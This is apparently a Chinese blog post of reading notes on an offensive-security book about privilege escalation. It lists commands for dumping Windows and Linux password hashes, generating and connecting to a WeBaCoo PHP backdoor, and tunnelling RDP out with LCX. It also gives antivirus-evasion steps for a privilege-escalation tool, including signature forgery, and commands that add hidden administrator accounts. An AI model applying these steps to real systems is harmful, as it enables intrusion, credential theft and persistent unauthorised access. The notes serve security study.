网络攻防实战研究 漏洞利用与提权读书笔记一

第一章 提权基础

1.1提权概述

1.1.1提权简介

提权分为直接提权和间接提权,也可以分为本地提权和远程提权
本地提权漏洞是指一个本来权限非常低、操作受限制的用户,通过某种条件(例如,通过应用程序漏洞或系统漏洞)直接提升到系统最高权限。
远程提权是指黑客或者攻击者通过漏洞利用程序,直接获取远程服务器的权限(在远程服务器上必须存在漏洞且未修补或者修补未成功)
提权又分为操作系统提权和应用程序提权。

1.1.2 提权条件

内网普通用户权限、拥有webshell、拥有FTP权限、拥有某些远程管理软件的账号和密码,同时在本地或者远程服务器上存在响应的漏洞

1.1.3 提权准备工作

(1)目标服务器信息的收集
例如在有webshell等的情况下执行命令获取Windows操作系统的信息。
脚本
(1)systeminfo:获取操作系统类型、版本、位数等信息
(2)Ifconfig/all:获取是否为独立IP地址、DNS、计算机名称等信息
(3)Net user:当前用户信息
(4)Whoami:当前用户权限
(5)Netstat -an:当前端口开放情况
(2)准备提权服务器的漏洞补丁情况收集
脚本
(3)准备提取0day及其他相关工具
针对当前操作系统准备32位或64位提权0day。针对当前操作系统应用程序准备提权0day。准备获取密码的Hash工具,并对0day及相关工具进行免杀处理和测试
(4)寻找服务器可写目录

1.1.4 实施提权

(1)上传或者下载提权0day和相关工具
(2)执行0day进行提权尝试
(3)获取系统权限及操作系统的密码

1.2 Windows账号和密码获取与破解

1.2.1 使用GetHashes获取Windows系统密码Hash值

详细可以参见:
用GetHashes软件获取Windows系统Hash密码值.pdf
GetHashes下载地址:
gethashes.exe
在这里插入图片描述

1.2.1 使用gsedump获取Windows系统密码

gsecdump下载地址:
gescdump.exe
gsecdump参数:
-h:显示帮助信息
-a:获取所有密码信息
-s:从SAM和域控中获取Hash值
-l:获取LSA信息,基本没用
-u:获取活动的登录hash值,即当前登录用户的Hash值
-w:获取无线密码
-s:强制评估版本为系统版本
使用-a参数:
在这里插入图片描述
使用-u参数
在这里插入图片描述

1.2.3使用PwDump获取域控密码

命令参数:
-dhl:导出本地Hash值
-dhdc:导出内存中的域控Hash值
-dhd:导出域控Hash值,必须制定NTDS文件
-db:导出Bitlocker信息,必须制定NTDS文件
-nt:导出ntds文件
-hist:导出历史信息,可选项
-t:导出类型,可选项,默认导出John类型
-o:导出文件到本地
2.导出本地hash
在这里插入图片描述

1.2.5 使用SAMinside获取及破解Windows系统密码

下载地址:
saminside2.7
利用gethashes.exe获取hash值并输入文本,然后pwdump导入
在这里插入图片描述
在这里插入图片描述

1.3 使用John the Ripper 破解Linux密码(Kali)

1.john的4中破解模式
(1)字典文件破解模式
(2)简单破解模式
(3)增强破解模式
(4)外挂破解模式
2.破解前的准备
使用unshadow /etc/passwd /etc/shadow > ~/file_to_crack
合成一个文件,然后放入john的run目录下面
3.使用john破解
在这里插入图片描述

1.4 Linux提权辅助工具Linux Exploit Suggester

一款根据操作系统版本号自动查找相应提权脚本的工具。
工具下载地址
1.运行结果截图
在这里插入图片描述

1.5 PHP WeBaCoo后门(kali)

一款隐蔽的脚本类Web后门工具.它借助HTTP协议在客户端和Web服务器之间实现了代码的网页终端。

1.5.2 使用方法

1.操作模式
有生成模式和终端模式
生成模式,指定“-g”选项,可以创建一个包含PHP有效载荷的后门代码
远程终端模式.指定"-t"选项,可以连接受感染的服务器(其中后门PHP代码已经被注入)

1.5.3 参数详解

Cm:以Base64编码的Shell指令
Cn:加载编码后输出的内容Cookie名称
Cp:封装编码后输入内容的分隔符
-f function:使用PHP系统函数system、shell_exec、passthru、popen
-g:制作后门代码
-o:指定生成的后门程序文件名
-u url:后门URL地址
-e cmd:单独命令执行模式,需要加"-t"和"-u"参数
-m method:使用HTTP方式,默认为"GET"
-c C_NAME:Cookie名字,默认为"M-cookie"
在这里插入图片描述
在这里插入图片描述

1.5.4 使用实例

(1)生成后门
在这里插入图片描述
(2)参考后门代码文件内容
在这里插入图片描述
(3)连接后门
webacoo -t -u http://192.168.0.102/backdoor.php
在这里插入图片描述

1.6对提权工具PR的免杀

1.6.1 什么是PR

PR是指提权Windows跟踪注册表项的ACL权限提升漏洞。

1.6.2 如何对提权工具进行免杀

pr.exe程序下载地址:
pr.exe
1.获取文件信息
使用PEID对程序进行检测
在这里插入图片描述
2.更改PR文件的MD5值
(1)定位并修改字符串
用C32ASM将PR文件以HEX(十六进制)方式打开,定位字符串".DLL",将其填充为"00"。
(2)修改PR文件,增加数字签名
预处理完成后,对引擎逐一进行测试(同时开启多个引擎会干扰免杀的针对性)
3.QVM人工智能引擎用于扫描检测用户计算机中的恶意程序。
4.绕过QVMII引擎
将".DLL"填充为"00"后,利用数字签名添加工具以360杀毒为签名样本进行伪造签名操作。
5.对BitDefender杀毒引擎的免杀处理
6.绕过小红伞引擎

1.6.3 加壳软件 VMProtect Ultimate

1.7 通过LCX端口转发实现内网突破

参考文章:
https://blog.csdn.net/stonesharp/article/details/56834347

1.7.1 确定被控制计算机的IP地址

在这里插入图片描述

1.7.2 在本机上设置监听地址

lcx -listen 5000 10000

1.7.3 在目标主机上实现端口转发

lcx -salve 192.168.253.132 5000 192.168.253.131:3389

1.7.4 远程连接本主机的10000端口

使用mstsc命令
在这里插入图片描述
远程连接服务器的主机
在这里插入图片描述

1.8 使用SocksCap进行内网突破

1.9 Windows系统提权基础命令

1.9.1 获取IP地址信息

在windows中,ipconfig /all
在linux中,ifconfig -a

1.9.2 获取端口信息

习惯使用netstat -an来获取端口开放的情况

1.9.3 获取服务信息和进程信息

1.获取服务信息
net start查看系统所开启的所有的服务器
net stop servicesname命令停止服务
net start servicesname命令开启服务
2.获取进程信息
通过tasklist /svc命令可以获取运行的进程名称、服务和PID
也可以通过msinfo32命令获取更加详细的进程信息。

1.9.4 进程结束命令

1.taskkill命令
/im /f /pid
2.pskill命令
需要下载pstools
pskill 进程号(或者名字)

1.9.5 用户管理命令

1.添加用户test为管理员
net user test 123456 /add
net localgroup administrators test /add
查看当前系统管理员用户
net localgroup administrators
键入远程桌面用户组‘
net localgroup “Remote Desktop Users” test /add
查看指定用户信息
net user test
2.激活guest用户
net user guest /active:yes

1.9.6 开启3389端口

注:其中有些知识有待研究和补充

  • 4
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值